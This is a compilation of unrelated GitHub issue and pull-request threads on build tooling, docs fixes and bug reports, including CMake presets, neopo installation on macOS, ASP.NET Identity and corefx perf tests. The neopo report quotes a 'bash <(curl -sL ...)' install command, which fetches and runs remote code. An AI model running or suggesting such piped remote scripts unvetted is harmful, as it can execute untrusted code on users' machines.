We are deliberately not supporting mingw due to a long history of really nasty bugs. I thought we had discussed this somewhere else in the cpp_best_practices org, but I can't find it now. Relevant: https://twitter.com/lefticus/status/1484215081806098432
IMHO, we can only claim to support the platforms that we are testing in CI. We should try not to go out of our way to break the project on BSD, but I don't think we need to go out of our way to support it. If you support BSD, where do you draw the line? Solaris? ReactOS? FreeDOS? Redox? Serenity? There's just too many.

@Jason5480 Hi Nikloas, we should have a separate forum to have such a diskusion.
If you want to use the presets in an IDE, you only need the configpresets, or not?
If you do not know, were the binary directory is, you need the buildpresets too on console.
And with the cmake --build builddirpath --taget test you need no testpreset!
Now I see why the presets are from microsoft

Currently VSCode and VisualStudio support all three types of presets. CLion supports only build presets QtCreators integration is on its roadmap. For XCode I do not know but the key concept of the presets is that in the future you can have IDE agnostic codebases no need to support *.vsxpjoj files along with *.creator and other IDE specific files. You have one format to produce reproducible builds in all of them! And the command line options should not be excluded from this for development.

If you do not know, were the binary directory is, you need the buildpresets too on console.
And with the cmake --build builddirpath --taget test you need no testpreset!
...

Command line options override the presets so you can pass your own binary and install dir through the cli. I just put the VSCode/VS defaults there in case you want to open the project that is already build before with another IDE it should be able to find existing build folder and not re-build all of them on its own (different) default folder

Currently VSCode and VisualStudio support all three types of presets. CLion supports only build presets QtCreators integration is on its roadmap. For XCode I do not know but the key concept of the presets is that in the future you can have IDE agnostic codebases no need to support *.vsxpjoj files along with *.creator and other IDE specific files. You have one format to produce reproducible builds in all of them! And the command line options should not be excluded from this for development.

In my world, I generate a build project (MVS, Xcode, Ninja Multi-Config, Eclipse, ...) from console base with CMake.
For CI build, we build and test them too from a bash.
If needed, I open the generated IDE to develop or debug, ...
So I never need an build preset or a test preset.
In every IDE I ever used, the CMake generated targets all, test, clean, install, ... are available.
see https://discourse.cmake.org/t/cmake-presets-what-is-a-testpreset-for/5404

In my world, I generate a build project (MVS, Xcode, Ninja Multi-Config, Eclipse, ...) from console with CMake. For CI build, we build and test them too from a bash shell.
If needed, I open the generated IDE to develop or debug, ...
So I never need an build preset or a test preset.
In every IDE I ever used, the CMake generated targets all, test, clean, install, ... are available.
see https://discourse.cmake.org/t/cmake-presets-what-is-a-testpreset-for/5404

Yes, this is the "old" way (better than the manual) of supporting several IDEs. With the presets the IDEs are getting closer to the CMake and not the other way around. Also, vendor specific options enable some customization points for the IDE without affecting others. Having different generators for each IDE is also an option but how do you make sure that project for Eclipse and VS have been generated/configured with the same cmake variables and have the same behavior? Well, you can inspect the cmake variables  but when using presets the author makes sure that the correct variables are passed.
For IDEs I think that test presets are optional but I added them for ease of use and completeness. It is convenient to just click a Run Ctest button and get the results inside your IDE.
Now for the command line app presets are optional you can still pass -DENABLE_CLANG_TIDY_DEFAULT=false -DCMAKE_C_COMPILER=cl -DCMAKE_CXX_COMPILER=cl -DENABLE_DEVELOPER_MODE=OFF manually.
My point is that the minimum requirements are defined by the IDE integration and not by the cli usage. Otherwise, we could claim that presets are useless, then remove the preset file and we all use the command line.

My point is that the minimum requirements are defined by the IDE integration and not by the cli usage. Otherwise, we could claim that presets are useless, then remove the preset file and we all use the command line.

I love presets, at least the configurePrests, but not more!

My point is that the minimum requirements are defined by the IDE integration and not by the cli usage. Otherwise, we could claim that presets are useless, then remove the preset file and we all use the command line.

I love presets, at least the configurePrests, but not more!

Well I agree that it is way simpler to just pass --build and --test option in the cli but I would also like to have the full integration in my IDE.
What really bugs me though is that I have to write 200 additional lines to achieve this and the duplication in build and test presets is so obvious. What I really want (and I should be able to write) is two buildPresets (Relese/Debug) that applies to all config presets and one testPreset.
The limitation here is that in the current schema the "configurePreset" variable cannot take a list. If that was possible then I could make the presets file way more concise. Since you searched a little bit more about the schema is it possible to change the limitation of the "configurePreset" of build and test Presets in a way that can be understood by the IDEs?

The only thing that this PR is really lacking is automated testing. I think it would be reasonable to add a separate build step to the .github/workflows/ci.yml file that runs cmake configure, build, and test using the appropriate presets. I don’t think anybody wants to test the presets manually on 3 different OSs over and over again. An automated CLI test should give us a really good idea of whether or not the tests will work on VS Code on a given platform.
...

Nice idea to add those presets to the CI I will try it!

This is looking pretty good so far. I, like you, am a little disappointed that this couldn’t be shorter, but I don’t see a reasonable way to make that happen (other that generating this file with a script, and I’m not convinced we want that).
The only thing that this PR is really lacking is automated testing. I think it would be reasonable to add a separate build step to the .github/workflows/ci.yml file that runs cmake configure, build, and test using the appropriate presets. I don’t think anybody wants to test the presets manually on 3 different OSs over and over again. An automated CLI test should give us a really good idea of whether or not the tests will work on VS Code on a given platform.
With automated tests, I think this is an easy approval from me.

It's been a long time since we discussed this but I was not able to pass the presets in the ci.yml and action.yml. The problem here is that the compiler, generator, build_type, and developer_mode settings are defined in the ci where this info should be read from the CMakePresets.json file instead if we want to support CMake 3.16. Maybe @aminya or @lefticus can help with that. Otherwise, I will revert the yml changes and I will open another issue for the CI part.

CMake v3.25 supports Workflow Presets, is this supported b this PR too?
see https://github.com/aminya/cpp_vcpkg_project/pull/20


If heading is provided change EdgeFilter for LocationIndexTree

The issue can be reproduced with oneway streets like this, ie. the heading does not work. Expected is the snapping to the other side of the motorway but it is unclear if the heading should already be applied at the snapping step. (The ordinary case works like here)

I'll create a pull request for this.

We could use the heading while snapping similar to the street hint: First try to find a snap that works with the requested heading in a certain radius, and if nothing is found do normal snapping without heading. This way we could make sure that if a heading is requested we do not snap to e.g. the opposite lane. On the other hand there might be cases where we snap to some point that is rather far away even though a closer snap with the wrong heading would have been preferred. But as long as we use a small radius for the snapping with heading this  should not be such a big problem?


GarageDoorOpener_accessory.js doenst work after logout and login on wifi

Use Light_accessory for a while and its very stabil! Now i tried to use the GarageOpener... works great for a while, but after i disconnect to my wifi and reconnect again it doesn't work. Also it doesn't work after reboot my pi. The Light_accessory still does work great. I use GarageDoorOpener_accessory.js out of the box without any changes. Still no changes on HAP-NodeJS, but on Light_accessory.

can anyone add the garagedooropener and try to switch it remote or just log off and on on wifi and try to switch it?


Errors while installing on MacOS

Thx for that project. I've been working a long while with po-util and really loved it;
seems that there is an Issue with Apple SIP (...?)
Describe the bug
installation on MacOS is terminated with error
copying man/neopo.1 -> /usr/share/man/man1
error: could not create '/usr/share/man/man1/neopo.1': Operation not permitted
To Reproduce
bash <(curl -sL neopo.xyz/install)
same problem with installation via pip...
Expected behavior
clear installation
Screenshots
Desktop (please complete the following information):
MacOS 11.4 Big Sur
Additional context
M1 Chip
Python 3.9 installed, latest Version (via brew)
local Particle CLI for maintaining local Particle Server

Hey @mf42,
Thanks for using po-util and neopo.
I personally haven't tested on macOS Big Sur since I keep my 2016 macbook pro on macOS Mojave and I use Arch Linux, Manjaro, Debian, and Raspbian on my other machines.
When installing neopo as root, it will attempt to install additional files like the manpage as you can see in the error you encountered. https://github.com/nrobinson2000/neopo/blob/master/setup.py#L29
If you try to install neopo with pip without using sudo it should't try to install the additional files.
git clone https://github.com/nrobinson2000/neopo
cd neopo
python3 -m pip install .

Hi @nrobinson2000,
thank you for your quick reply.
Ok, git clone ... worked fine but still I've a prob with pip:

dev@MacBook-Pa neopo % python3 -m pip install .
Defaulting to user installation because normal site-packages is not writeable
Processing /Users/dev/neopo
DEPRECATION: A future pip version will change local packages to be built in-place without first copying to a temporary directory. We recommend you use --use-feature=in-tree-build to test your packages with this new behavior before it becomes the default.
pip 21.3 will remove support for this functionality. You can find discussion regarding this at https://github.com/pypa/pip/issues/7555.
Building wheels for collected packages: neopo
Building wheel for neopo (setup.py) ... done
Created wheel for neopo: filename=neopo-334.970c5fd-py3-none-any.whl size=28666 sha256=f4c2e9fd74ef3d5e1390f48fce8b09756c2bbfe63c0fdc5e217c97bcafef6d25
Stored in directory: /private/var/folders/p1/cct7mlx131s6m68t1w4_6jch0000gp/T/pip-ephem-wheel-cache-663qu9d3/wheels/83/45/4f/4de98c186b111f27a4bb44f9142145155a4afa9e2507c49681
WARNING: Built wheel for neopo is invalid: Metadata 1.2 mandates PEP 440 version, but '334.970c5fd' is not
Failed to build neopo
Installing collected packages: neopo
Attempting uninstall: neopo
Found existing installation: neopo 334.970c5fd
Uninstalling neopo-334.970c5fd:
Successfully uninstalled neopo-334.970c5fd
Running setup.py install for neopo ... done
DEPRECATION: neopo was installed using the legacy 'setup.py install' method, because a wheel could not be built for it. A possible replacement is to fix the wheel build issue reported above. You can find discussion regarding this at https://github.com/pypa/pip/issues/8368.
Successfully installed neopo-334.970c5fd

as you can see there is an issue with building wheel. Sorry, Im not that deep in the topic...
My environment:

dev@MacBook-Pa neopo % python --version
Python 3.9.5
dev@MacBook-Pa neopo % pip --version
pip 21.1.2 from /usr/local/lib/python3.9/site-packages/pip (python 3.9)
dev@MacBook-Pa neopo %

Thank you for your help, Best

Hey @mf42,
I've just pushed a fix to change the version string to comply with PEP 440. Can you git pull and try installing now?

Hi @nrobinson2000,
just downloaded and reinstalled. The installation routine went through so that point is fine now. After running neopo create I received some fancy .py-Error messages but that is another issue. From that point of view we could close; Thank you for your help, Best


[URL change] Toonkor

Source information
Toonkor 1.4.4
Source language
Korean
Source new URL
https://toonkor325.com
Other details
No response
Acknowledgements

[X] I have updated all installed extensions.
[x] I have opened WebView and checked that the source URL is not updated yet.
[X] I have searched the existing issues and this is a new ticket, NOT a duplicate or related to another open or closed issue.
[X] I have written a short but informative title.
[X] I will fill out all of the requested information in this form.

Edit domain in extension setting


fixes #1847 404 on worksapce xdebug installation

I completed the 3 steps below:

[x] I've read the Contribution Guide.
[x] I've updated the documentation. (refer to this for how to do so).
[x] I enjoyed my time contributing and making developer's life easier :)

Can we have this PR merged as below issues appears if above update is not included

please use docker-compose build --no-cache workspace

Thanks @bestlong , for now manually added to to be able to build.
Next issues is that i cannot seem to connect xdebug with phpstorm :(

I added  an apt-get update before the real install in the workspace Dockerfile, as suggested in #1865


cleanup leftover tarballs and dockerfiles

fixes: https://github.com/AdoptOpenJDK/openjdk-infrastructure/issues/1312

@sxa some cleanups are done inline and others are done in the cleanup task.
I much prefer the first because its part of the role and ensures that people don't skip the cleanup tag by accident. It also means that when we bump a version, it's much easier to remember to bump it in the same role rather than in some cleanup role later on.
This was the case with cmake which was bumped from 3.7.2 to 3.11.4 but the cleanup role was never updated.
I'd be happy to update this PR by removing the cleanup role completely and making the cleanup part of each specific role?

(Full testing of this is effectively blocked at present due to https://github.com/AdoptOpenJDK/openjdk-build/issues/1863 not allowing the builds to go through but so far the playbooks have worked ok)


The first example under "Customize the model" breaks my ASP.NET core web app.

After making the changes outlined I get the following error:  InvalidOperationException: No service for type 'Microsoft.AspNetCore.Identity.UserManager`1[Microsoft.AspNetCore.Identity.IdentityUser]' has been registered.
After a lot of research I finally discovered that the injections in _LoginPartial.cshtml need to be updated to use the new ApplicationUser.  does anyone actually try this stuff before publishing it?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: d9869895-9ba2-5027-46cd-89d1d995cba4
Version Independent ID: 8750939b-6ae5-3b9a-6c32-5e84b7fea22c
Content: Identity model customization in ASP.NET Core
Content Source: aspnetcore/security/authentication/customize-identity-model.md
Product: aspnet-core
GitHub Login: @ajcvickers
Microsoft Alias: avickers

@TheMadStrater  what portion did you encounter that problem? You must have been using old template generated code. The pre 2.0 templates used ApplicationUser, since 2.0 they've used IdentityUser. If you add user data, the default is
public class MyUser : IdentityUser
    {
    }

@Rick-Anderson This still happens with templates from ASP.NET Core 2.2.4.
Repro:

dotnet new mvc --auth Individual
Modify the project as described in the section "Custom user data" here
dotnet run
Exception is thrown: InvalidOperationException: No service for type 'Microsoft.AspNetCore.Identity.UserManager``1[Microsoft.AspNetCore.Identity.IdentityUser]' has been registered.

@cremor at what step?

@Rick-Anderson What do you mean with "step"? Which part of the documentation I followed? If yes, just as I wrote, I did the whole "Custom user data" section. So I added an ApplicationUser, changed the base class of ApplicationDbContext and changed the Startup.ConfigureServices method.


Fixes to instructions

Most important change is that the ClientTransactionManager takes public keys
of the participants (not addresses) when configuring transaction privacy.

Thanks!


[BUG] - Demo - DarkMode bug.

🐞 Bug report
Description
My default gets changed to night mode (because of browser settings).
When I switch to day mode. Not all text is visible.
Reproduction
Browser should be on dark mode.
getting-started
Switch to light. The below happens:

Then

I did realize after investigation that this only happens when:
export const changeDetection = ChangeDetectionStrategy.OnPush;

Expected behavior

Versions

OS: Windows
Browser Chrome
Angular Demo

Additional context
The below attribute on the links never changed:

I was thinking. Since we have the CSS variables. Why not just override them on dark mode?
Is there really a need to change attributes and using different variables?

I was thinking. Since we have the CSS variables. Why not just override them on dark mode?
Is there really a need to change attributes and using different variables?

Not everything is as simple as a var switch, sometimes you only want to change appearance of a particular component, not everything around it. And in case of inputs it is more than just a colour change.

Not everything is as simple as a var switch, sometimes you only want to change appearance of a particular component, not everything around it. And in case of inputs it is more than just a colour change.


sidecar: Loads the certificate and key when the sidecar starts.

[ ] I added CHANGELOG entry for this change.
[ ] Change is not relevant to the end user.

Changes
The sidecar did not validate the certificate and key while starting; Reading and parsing of the certificate were done only when the client initiated the TLS handshake with the sidecar. This is when the certificate related issues surfaced.
With this code change, these files are now loaded and checked by the sidecar when it starts.
Verification
Tested the fix by adding unit tests. Also, by running the sidecar and query components with TLS configurations.

@maheshbaliga Now that you've changed the server config definition, won't you need to change all the calls to this func and/or update the documentation to provide the cert & key path, in the thanos deployment configurations?
Also, where are the changes which change the cert validation time from TLS call time to container start time?

@samkulkarni20 No, the definition has not changed, only cert and key variables were renamed to avoid naming confusion. The cert & key modification times are set in getCertificate func during the handshake, this code was already present.


Update the release documentation

Motivation for this change
Partial backport of https://github.com/NixOS/nixpkgs/pull/85369
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[ ] Fits CONTRIBUTING.md.

cc @arianvp @emilazy @m1cr0man @aanderse @flokli

The backport is only partial because the release branch and the master branch diverged, it might be worth backporting the other missing commits to complete this one

Thanks! also please put back the note about rollbacks here as well

cc @worldofpeace

Can we make the commit message specific https://github.com/NixOS/nixpkgs/pull/85366#issuecomment-615394985 rl-2003: ...

Can we make the commit message specific #85366 (comment) rl-2003: ...

Changed @worldofpeace

Thanks!


请求TOKEN前带上当前环境变量的域

在实际使用过程中发现，如果yapi与接口没有部署在同一个域或服务器下时，无论是校验token请求地址，还是定时刷新Token时，都没有带上当前环境变量的域，导致请求失败。
修改：

修改了模型，增加了domain字段，存储当前环境变量的域；
修改了前端配置保存方法，将当前环境变量的域也存入数据库；
修改了校验方法，在请求地址前加上了当前环境变量的域
修改了定时刷新获取Token的方法，在请求地址前加上了当前环境变量的域

我有空看一下哦，非常感谢您的 PR

Preparing review...

Preparing review...

PR Review

 ⏱ Estimated effort to review [1-5]
3, because the PR involves changes across multiple JavaScript files and a model file, affecting both front-end and back-end components. The logic of domain handling and URL construction is critical and needs careful review to ensure it doesn't introduce bugs or affect existing functionalities.

 🧪 Relevant tests
No

 🔍 Possible issues
Possible Bug: The concatenation of domain and get_token_url might not handle edge cases where domain does not end with a slash ('/') and get_token_url does not start with one, potentially leading to malformed URLs.

 🔒 Security concerns
No

 Code feedback:
relevant filecomponent/oauth2Content/oauth2Content.js
suggestion

Ensure that the URL concatenation between domain and get_token_url handles cases where either or both might not include a trailing or leading slash, respectively. This can be achieved by using a utility function to safely concatenate URLs. [important]

relevant lineurl: this.props.envMsg.domain + get_token_url,
relevant fileutils/syncTokenUtil.js
suggestion

Similar to the previous suggestion, ensure safe URL concatenation in the backend utility file to prevent potential issues with malformed URLs. Consider implementing or using an existing URL builder utility. [important]

relevant linelet getTokenUrl = oauthData.domain + oauthData.get_token_url;

 ✨ Review tool usage guide:
Overview:
The review tool scans the PR code changes, and generates a PR review which includes several types of feedbacks, such as possible PR issues, security threats and relevant test in the PR. More feedbacks can be added by configuring the tool.
The tool can be triggered automatically every time a new PR is opened, or can be invoked manually by commenting on any PR.

When commenting, to edit configurations related to the review tool (pr_reviewer section), use the following template:

/review --pr_reviewer.some_config1=... --pr_reviewer.some_config2=...

With a configuration file, use the following template:

[pr_reviewer]
some_config1=...
some_config2=...

See the review usage page for a comprehensive guide on using this tool.

Preparing review...

Preparing review...

Preparing review...

Preparing review...

Preparing review...

Preparing review...

Preparing review...


AnimationBuilder refactor to use fxgl-scene

Merge AnimationBuilder in fxgl and AnimationDSL in fxgl-animation, which effectively are duplicates to fxgl-animation using fxgl-scene dependency

Done in post 11.8


1.19.2

Please merge! Been waiting for this mod to get updated!

@mrsterner can you make a 1.19.3 port as well?
thanks in advance <3

@mrsterner can you build artifact since it seems that it failed

It failed because i didnt have time to finish it all, still one sting left to port

@mrsterner any update on 1.19.3?
thanks in advance <3

1.19 version will be out within the coming days, thank you for the PR.


feat: allow to provide context for non-PR events

Adding new inputs:

repo_owner Owner of the repository
repo_name Name of the repository
pr_number Pull request number for showing the results
commit_sha Sha of the commit triggering the action

@yih-redhat, Could you please test this PR?
uses: jamacku/testing-farm-as-github-action@support-nonpr-context
with:
  #  ...

You can use new inputs: repo_owner, repo_name, pr_number and commit_sha to provide additional information when running on repository_dispatch. The commit_sha is optional when running on repository_dispatch trigger.

Sure, I will test it and let you know the result.

@jamacku I have tested this pr, it works as expected.
PR https://github.com/osbuild/osbuild-composer/pull/4240 triggered ci test https://github.com/osbuild/rhel-edge-ci/actions/runs/10268536294, when test started, I can see a new test status created in that PR, and after test finished, the test result is also updated in that PR, perfect!

Yes, it works well at my first try with a small test case. Now I have started a full test with this pr with 10 test cases, and will let you know if anything wrong.
You can also check the result at https://github.com/osbuild/osbuild-composer/pull/4240 (It's building now, testing-farm test will not be triggered until build finished), tfaga is configured at https://github.com/osbuild/rhel-edge-ci/blob/main/.github/workflows/rhel-95.yml

test

[test]

[test]

[test]


Stop trigger auto selection when user just right click on translations annotations

I think we should use a different target branch instead of master to avoid change conflicts.

this is related to https://jira-ext.perkinelmer.com/browse/CLN-31303
I'm not sure whether it's a bug or a feature of oVE.
if it's a feature, I think the issue is "Select Translation" menu is useless.


Cleanup and move Utf8Parser tests to corefx

Move all the Utf8Parser performance tests to corefx https://github.com/dotnet/corefx/blob/8e53c7efea4efd28ba9d111dd4e70e3ca2f987f3/src/System.Memory/tests/Performance/Perf.Utf8Parser.cs#L11 and remove duplicate/unnecessary test cases in the process.
This includes the following performance tests:
https://github.com/dotnet/corefxlab/blob/89ea88c64f2dabe362c0a3df21d07313542c1d80/tests/System.Text.Primitives.Tests/Parsing/PrimitiveParserBoolPerfTests.cs#L11
https://github.com/dotnet/corefxlab/blob/89ea88c64f2dabe362c0a3df21d07313542c1d80/tests/System.Text.Primitives.Tests/Parsing/PrimitiveParserInt16PerfTests.cs#L10
https://github.com/dotnet/corefxlab/blob/89ea88c64f2dabe362c0a3df21d07313542c1d80/tests/System.Text.Primitives.Tests/Parsing/PrimitiveParserInt32PerfTests.cs#L11
https://github.com/dotnet/corefxlab/blob/89ea88c64f2dabe362c0a3df21d07313542c1d80/tests/System.Text.Primitives.Tests/Parsing/PrimitiveParserSBytePerfTests.cs#L11
https://github.com/dotnet/corefxlab/blob/89ea88c64f2dabe362c0a3df21d07313542c1d80/tests/System.Text.Primitives.Tests/Parsing/PrimitiveParserUInt32PerfTests.cs#L12
https://github.com/dotnet/corefxlab/blob/89ea88c64f2dabe362c0a3df21d07313542c1d80/tests/System.Text.Primitives.Tests/Parsing/PrimitiveParserUInt64PerfTests.cs#L12

Could I work on this issue? It'd be my first one, so please correct me if I'm wrong, it requires creating one pull request to this repo and another to dotnet/corefx?

@L-Dogg, absolutely! Feel free to ask questions and I will help where needed.
I would start with creating a pull request in dotnet/corefx (where you add the performance tests there, and de-duplicate them, see https://github.com/dotnet/corefx/blob/master/src/System.Memory/tests/Performance/Perf.Utf8Parser.cs). After that's merged, then yes, you would create a PR here, to remove these tests.
@karelz, can you help @L-Dogg with onboarding.

It'd be great - I've just set up my environment (VS 2017 Community) according to the developer's guide and pulled the forked repo, but I could get it built due to the error below:

Retrying 'FindPackagesByIdAsync' for source 'https://dotnetmyget.blob.core.windows.net/artifacts/dotnet-core/nuget/v3/flatcontainer/microsoft.netcore.dotnethostresolver/index.json'.
An error occurred while sending the request.
Unable to read data from the transport connection:
A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.

However simple curl https://dotnetmyget.blob.core.windows.net/artifacts/dotnet-core/nuget/v3/flatcontainer/microsoft.netcore.dotnethostresolver/index.json worked properly (or I think so). Anyway, right now I cannot run the tests - should I create an issue? I get this error while building corefxlab as well as corefx.

Welp, I've just opened corefxlab solution and tests were run properly using R# 👍 But the error still occurs and corefx's System.Memory solution is full of errors like  Error	CS0246	The type or namespace name 'Microsoft' could not be found (are you missing a using directive or an assembly reference?)	System.Memory.Performance.Tests

Try building System.Memory from the command line instead of from within VS and let me know if it succeeds.

See this guide on how to run perf tests:
https://github.com/dotnet/corefx/blob/master/Documentation/project-docs/performance-tests.md#building-and-running-tests

In the Developer Command Prompt for VS 2017 I typed build System.Memory and got the same error:
Failed to retrieve information about 'Microsoft.NETCore.DotNetHostResolver' from remote source
'https://dotnetmyget.blob.core.windows.net/artifacts/dotnet-core/nuget/v3/flatcontainer/microsoft.netcore.dotnethostresolver/index.json'. [C:\Users\Szymek\Desktop\corefx\Tools\ilasm\ilasm.depproj]
Unable to read data from the transport connection:
A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. [C:\Users\Szymek\Desktop\corefx\Tools\ilasm\ilasm.depproj]

I read the instruction but I am still struggling to get a successful build.

Run build.cmd at the root of the corefx repo (required to do once).
Then navigate to the System.Memory src directory and run msbuild (not build).

See the following guide for the proper developer workflow:
https://github.com/dotnet/corefx/blob/master/Documentation/project-docs/developer-guide.md

@L-Dogg Are you able to access
https://dotnetmyget.blob.core.windows.net/artifacts/dotnet-core/nuget/v3/flatcontainer/microsoft.netcore.dotnethostresolver/index.json
directly in your web browser? It should list all the versions of the microsoft.netcore.dotnethostresolver package (like the MyGet Gallery page).
The error generally means NuGet wasn't able to access the URL. I'm wondering if this might be a proxy or georeplication issue.

I got a clean clone, then proceeded to step 2 and unfortunately Failed to retrieve information about 'Microsoft.NETCore.DotNetHostResolver' from remote source 'https://dotnetmyget.blob.core.windows.net/artifacts/dotnet-core/nuget/v3/flatcontainer/microsoft.netcore.dotnethostresolver/index.json'. occured.
That's unfortunate. What happens if you visit the link from your browser?
https://dotnetmyget.blob.core.windows.net/artifacts/dotnet-core/nuget/v3/flatcontainer/microsoft.netcore.dotnethostresolver/index.json
Please file an issue in the corefx repo.

I forgot to mention that I am able to access this https://dotnetmyget.blob.core.windows.net/artifacts/dotnet-core/nuget/v3/flatcontainer/microsoft.netcore.dotnethostresolver/index.json via curl/Firefox on my PC.

I've just tried building corefx at work on my work laptop and it finished successfully. Maybe it has something to do with my home ISP - will try to reproduce it using other connection. Thank you guys!

I finally had some time to start working on that issue and have some questions:

Do we need to move Thai symbol parsing tests to the corefx repo? They invoke the CustomParser's methods that utilise Utf8Parser under the hood.
I'm not sure about how many InlineData attributes should I use? There are numerous in the corefxlab, however this doc: https://github.com/dotnet/corefx/blob/master/Documentation/project-docs/performance-tests.md states we should limit them to the key examples. Should I leave only the standard parse, max/min value trio? 😄
Am I correct to leave "baseline" tests untouched, as they test the [typename].TryParse, not Utf8Parser.TryParse?

Apart from the questions above, here's what I've managed to code:
https://github.com/L-Dogg/corefx/commit/4f9f6ddeaf67da6671e70a7d63db61ec7e4f4c78

Do we need to move Thai symbol parsing tests to the corefx repo? They invoke the CustomParser's methods that utilise Utf8Parser under the hood.

We do not need to move the Thai symbol parsing tests. They are testing experimental APIs that didn't ship and can remain in corefxlab as is.

I'm not sure about how many InlineData attributes should I use? There are numerous in the corefxlab, however this doc: https://github.com/dotnet/corefx/blob/master/Documentation/project-docs/performance-tests.md states we should limit them to the key examples. Should I leave only the standard parse, max/min value trio? 😄

I think we should add some, but not all to get a balance between the two extremes (keeping the trio or adding them all). The objective is to get the minimal set that capture just enough useful scenarios. For example, I would add the single digit case like "0" and at least a special case like leading zeroes ("00000000000000000000123abcdfg"). Here is an example where we have made optimizations for single digit inputs - https://github.com/dotnet/coreclr/pull/18383. We don't need to add the '+' prefixed numbers or all digit length inputs. @adamsitnik, can provide additional guidance on your PR, once it is ready. I would encourage you to submit a PR marked as WIP (work in progress) in corefx and I can provide targeted suggestions there.

Am I correct to leave "baseline" tests untouched, as they test the [typename].TryParse, not Utf8Parser.TryParse?

Yes. They provide a good metric to compare against.
Also, I think there are plans to port all performance tests to BenchmarkDotNet soon, so I wouldn't worry too much about getting the right IterationCount/InnerIterationCount/etc. as BDN takes care of that for us. For example, see this recent performance test added by @ViktorHofer: https://github.com/dotnet/corefx/pull/30837

Also, I think there are plans to port all performance tests to BenchmarkDotNet soon, so I wouldn't worry too much about getting the right IterationCount/InnerIterationCount/etc. as BDN takes care of that for us

Right, please don't set any InnerIterationCount manually as it will make it harder porting the test to BDN.

Is this done yet @ahsonkhan? Would be great for as a first contribution 👍

I was about to remove these tests after finishing up https://github.com/dotnet/corefx/pull/32026, but I see they have been remove from the master branch already. I guess there is nothing for me to do here then @ahsonkhan

They were ported over to BenchmarkDotNet (BDN) here: https://github.com/dotnet/corefxlab/pull/2394 by @adamsitnik.
I think we can safely remove the redundant ones.
For instance, this is now unnecessary: https://github.com/dotnet/corefxlab/blob/98ea133b2a3d36d377b59ec44437ae780f8529a7/tests/Benchmarks/System.Text.Primitives/PrimitiveParserBoolPerfTests.cs#L12
I would keep the custom parser benchmarks though:
https://github.com/dotnet/corefxlab/blob/98ea133b2a3d36d377b59ec44437ae780f8529a7/tests/Benchmarks/System.Text.Primitives/PrimitiveParserInt16PerfTests.cs#L77

Oh ok, they were ported already?
Does it mean that https://github.com/dotnet/corefx/pull/32026 won't get merged?

Oh ok, they were ported already?

They were ported to BDN in corefxlab. We should still remove them as they are redundant.

Does it mean that dotnet/corefx#32026 won't get merged?

It will. The goal here was to move over the perf tests from corefxlab to corefx since that is where the types/APIs live now.

Could you assign me to this one? 😄
Do I need a collaborator invite here too?

Do I need a collaborator invite here too?

Yes, I think so. cc @karelz, @joshfree

@fredeil invite sent. Ping us here once you accept.

@karelz invite accepted


No update operations happening through API call, but can do update or create operations through django admin page. Can anyone  suggest a solution?

Have you registered your models?


Replace links using https://istio.io and / with {{home}} so they work
on staging and archive versions of the site.

Fix a bunch of preformatted blocks that has extra spaces or incorrect indent

Replaced usage of "Further reading" with "What's next" to match our convention.

Fix capitalization style of various headers to match our convention.

Broke up some preformatted blocks to separate the command-line from the output
in order to make cut & paste easier, per our convention.

I'm not sure how come I missed those links. All fixed now.
There's nothing fundamentally wrong with opening windows when clicking
links, it's just not what we do on the rest of the site. I want to have
consistent behavior.
On Thu, Feb 8, 2018 at 9:53 AM, Laurent Demailly<EMAIL_ADDRESS>wrote:

@ldemailly commented on this pull request.
In _docs/setup/kubernetes/quick-start-gke-dm.md
https://github.com/istio/istio.github.io/pull/951#discussion_r167016124:

We recommend that you leave the default settings as the rest of this tutorial shows how to access the installed features. By default the tool creates a GKE alpha cluster with the specified settings, then installs the Istio control plane{:target="_blank"}, the BookInfo{:target="_blank"} sample app, Grafana{:target="_blank"} with Prometheus{:target="_blank"}, ServiceGraph{:target="_blank"}, and Zipkin{:target="_blank"}. You'll find out more about how to access all of these below.

We recommend that you leave the default settings as the rest of this tutorial shows how to access the installed features. By default the tool creates a
GKE alpha cluster with the specified settings, then installs the Istio control plane, the BookInfo sample app, Grafana with Prometheus, ServiceGraph, and Zipkin. You'll find out more about how to access all of these below.

looks like there are more here. need to add “g” at the end of you sed
expression?
In _docs/setup/kubernetes/quick-start-gke-dm.md
https://github.com/istio/istio.github.io/pull/951#discussion_r167016348:

@@ -158,7 +161,7 @@ You can also view the installation using the *Kubernetes Engine -> Workloads

Once you have verified that the Istio control plane and sample application are working, try accessing the installed Istio plugins.
-If you are using Cloud Shell rather than the installed gcloud client, you can port forward and proxy using its Web Preview{:target="_blank"} feature.  For example, to access Grafana from Cloud Shell, change the kubectl port mapping from 3000:3000 to 8080:3000.  You can simultaneously preview four other consoles via Web Preview proxied on ranges 8080 to 8084.
what is the issue with opening in new tab/window?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/istio/istio.github.io/pull/951#pullrequestreview-95170806,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AVucHTCHrX-Fp48MLtC1RRGMSdNtCQ8Jks5tSzSugaJpZM4R-h2u
.


something wrong with JSON.parse

ruby -v
ruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-darwin17]

irb
2.5.1 :001 > require "pipe_operator"
 => true
2.5.1 :002 > include ::PipeOperator
 => Object
2.5.1 :003 > -9.pipe { abs | Math.sqrt | to_i }
 => 3
2.5.1 : > [9, 64].map(&Math.|.sqrt)
 => [3.0, 8.0]
2.5.1 : > [9, 64].map(&Math.|.sqrt.to_i.to_s)
 => ["3", "8"]
2.5.1 : > require 'json'
 => true
2.5.1 : > "https://api.github.com/repos/ruby/ruby".pipe { URI.parse | Net::HTTP.get | JSON.parse }
Traceback (most recent call last):
       10: from /Users/yakavkrasnov/.rvm/rubies/ruby-2.5.1/bin/irb:11:in `<main>'
        9: from (irb):7
